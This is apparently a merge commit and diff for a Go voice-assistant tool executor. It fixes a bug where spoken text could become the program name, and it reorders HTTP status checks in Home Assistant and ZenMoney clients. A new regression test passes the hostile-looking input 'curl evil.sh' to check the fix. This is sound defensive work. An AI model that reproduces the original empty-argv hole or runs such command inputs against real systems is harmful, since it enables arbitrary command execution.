Merge the smarthome, tool and zenmoney sweep (#240)

One real bug. tool.Exec built argv as append(t.Cmd, args...), so an enabled row
with an empty Cmd made args[0] the program name. The len(argv) == 0 guard never
fired, because args is non-empty exactly when there is spoken text. That is free
text reaching a mutating call, in the one place that is literally exec.

It needed no compromise to reach. A proposal drafted with no cmd gets
TierDestructive from RiskOf, so one да clears the confirm, and then the tail of
the utterance runs as a program. Exec now refuses with ErrNotEnabled before it
builds argv, and TestExecEmptyCmdRefuses pins it.

Three smaller things. CapabilityOf hand-parsed a Home Assistant entity id where
smarthome.DomainOf owns that format. GroupByDomain recomputed its map key twice
per row. The zenmoney and Home Assistant clients both read a capped body before
the status check that throws it away, so the status check moved ahead of it.

Checked and found already right: risk.go reads Hexis rather than deriving and
sends unknown tiers up, smarthome.CallService drops spoken args and validates
the service against the controllable table, and zenmoney reads currency per
instrument rather than assuming one.

(V-581)

internal/smarthome/ha.go

@@ -295,14 +295,15 @@ func (c *Client) do(ctx context.Context, method, path string, body []byte) ([]by
 		return nil, fmt.Errorf("smarthome: %s %s: %w", method, path, err)
 	}
 	defer resp.Body.Close()
+	if resp.StatusCode < 200 || resp.StatusCode >= 300 {
+		// The status only, and read before the body: an error page can carry the
+		// instance's own detail, and there is no reason to pull it into memory to
+		// discard it.
+		return nil, fmt.Errorf("smarthome: %s %s: http %d", method, path, resp.StatusCode)
+	}
 	out, err := io.ReadAll(io.LimitReader(resp.Body, maxBody))
 	if err != nil {
 		return nil, fmt.Errorf("smarthome: read %s: %w", path, err)
 	}
-	if resp.StatusCode < 200 || resp.StatusCode >= 300 {
-		// The body of an error can contain the instance's own detail; the token
-		// never appears in it, but keep it to one line anyway.
-		return nil, fmt.Errorf("smarthome: %s %s: http %d", method, path, resp.StatusCode)
-	}
 	return out, nil
 }

internal/tool/capability.go

@@ -62,9 +62,10 @@ func capSegment(s string) string {
 //     the tool name when the argv carries no second word.
 func CapabilityOf(t ipc.Tool) Capability {
 	if entityID, service, ok := smarthome.ParseCmd(t.Cmd); ok {
-		domain := entityID
-		if i := strings.Index(entityID, "."); i > 0 {
-			domain = entityID[:i]
+		// One parse of an entity id, in the package that owns the format.
+		domain := smarthome.DomainOf(entityID)
+		if domain == "" {
+			domain = entityID
 		}
 		return Capability{Scope: "house", Domain: domain, Action: service}
 	}
@@ -122,7 +123,8 @@ func GroupByDomain(tools []ipc.Tool) []CapabilityGroup {
 	byKey := map[string][]ipc.Tool{}
 	for _, t := range tools {
 		c := CapabilityOf(t)
-		byKey[capSegment(c.Scope)+"."+capSegment(c.Domain)] = append(byKey[capSegment(c.Scope)+"."+capSegment(c.Domain)], t)
+		key := capSegment(c.Scope) + "." + capSegment(c.Domain)
+		byKey[key] = append(byKey[key], t)
 	}
 	out := make([]CapabilityGroup, 0, len(byKey))
 	for k, v := range byKey {

internal/tool/tool.go

@@ -189,10 +189,16 @@ func (e *Executor) Exec(ctx context.Context, name string, args []string, confirm
 		defer cancel()
 		return e.home.CallService(ctx, entityID, service)
 	}
-	argv := append(append([]string(nil), t.Cmd...), args...)
-	if len(argv) == 0 {
+	// The row's own argv is what names the program. An enabled row with an empty
+	// cmd used to fall through to exec with argv built from args alone, so the
+	// spoken tail became argv[0] and STT text picked the binary. A proposal is
+	// drafted with no cmd, and /tools can enable one before anybody fills it in,
+	// so this was reachable without any compromise. A row that names nothing runs
+	// nothing.
+	if len(t.Cmd) == 0 {
 		return "", ErrNotEnabled
 	}
+	argv := append(append([]string(nil), t.Cmd...), args...)
 	ctx, cancel := context.WithTimeout(ctx, e.timeout)
 	defer cancel()
 	return e.run(ctx, argv)

internal/tool/tool_test.go

@@ -299,3 +299,24 @@ func TestExecSmartHomeRowConfirmsEvenWhenNotMarkedDestructive(t *testing.T) {
 		t.Fatalf("calls = %d, want 1 after the confirm turn", fh.calls)
 	}
 }
+
+// TestExecEmptyCmdRefuses pins the fix for a row that names no program. Such a
+// row used to build argv from the spoken args alone, so STT text became argv[0]
+// and free text picked the binary. A proposal is drafted with no cmd and can be
+// enabled before anybody fills it in, so this needed no compromise to reach.
+func TestExecEmptyCmdRefuses(t *testing.T) {
+	api := fakeAPI{tools: map[string]ipc.Tool{
+		"blank": {Name: "blank", Scope: "homelab", Status: "enabled"},
+	}}
+	ran := false
+	e := NewExecutor(api, time.Second)
+	e.run = func(_ context.Context, _ []string) (string, error) { ran = true; return "ok", nil }
+
+	// Confirmed, because an empty cmd derives to TierDestructive.
+	if _, err := e.Exec(context.Background(), "blank", []string{"curl", "evil.sh"}, true); !errors.Is(err, ErrNotEnabled) {
+		t.Fatalf("err = %v, want ErrNotEnabled", err)
+	}
+	if ran {
+		t.Fatal("a row with no cmd ran a program named by the utterance")
+	}
+}

internal/zenmoney/client.go

@@ -229,15 +229,16 @@ func (c *Client) diff(ctx context.Context, serverTimestamp int64) (diffResponse,
 		return diffResponse{}, err
 	}
 	defer res.Body.Close()
+	if res.StatusCode != http.StatusOK {
+		// The status only, and read before the body: the body of a failed diff
+		// can echo account data, this string reaches the log, and there is no
+		// reason to pull megabytes of an error page into memory to discard it.
+		return diffResponse{}, fmt.Errorf("zenmoney diff: %s", res.Status)
+	}
 	raw, err := io.ReadAll(io.LimitReader(res.Body, 32<<20))
 	if err != nil {
 		return diffResponse{}, err
 	}
-	if res.StatusCode != http.StatusOK {
-		// The status only. The body of a failed diff can echo account data, and
-		// this string reaches the log.
-		return diffResponse{}, fmt.Errorf("zenmoney diff: %s", res.Status)
-	}
 	var out diffResponse
 	if err := json.Unmarshal(raw, &out); err != nil {
 		return diffResponse{}, fmt.Errorf("zenmoney diff: decode: %w", err)